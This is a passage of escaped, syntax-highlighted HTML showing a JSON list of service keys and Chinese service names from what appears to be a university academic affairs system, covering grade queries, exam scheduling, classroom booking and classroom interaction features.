class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.XJYDSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学籍异动申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.XYYJCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学业预警查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.XYWCCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学业完成查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.HKSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;缓考申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.HKSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;缓考审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.KSAPCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;考试安排查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.JKAPCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;监考安排查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.CJCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;成绩查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.TDBKSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;调停补课申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.TDBKSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;调停补课审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.JSJYSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;教室借用申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.JSJYSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;教室借用审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.KXJSCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;空闲教室查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;QT.SHKSBM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;社会考试报名\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XQBG\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学期报告\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.TP\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;投票\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.WD\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;问答\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.SP\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;视频\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.ZL\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;资料\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.PF\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;评分\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.XR\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;选人\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.QD\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;抢答\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SH.WDSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;我的申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SH.DWSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待我审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XK.MTXKBL\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;免听选课办理\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.CJRDSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;成绩认定申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan 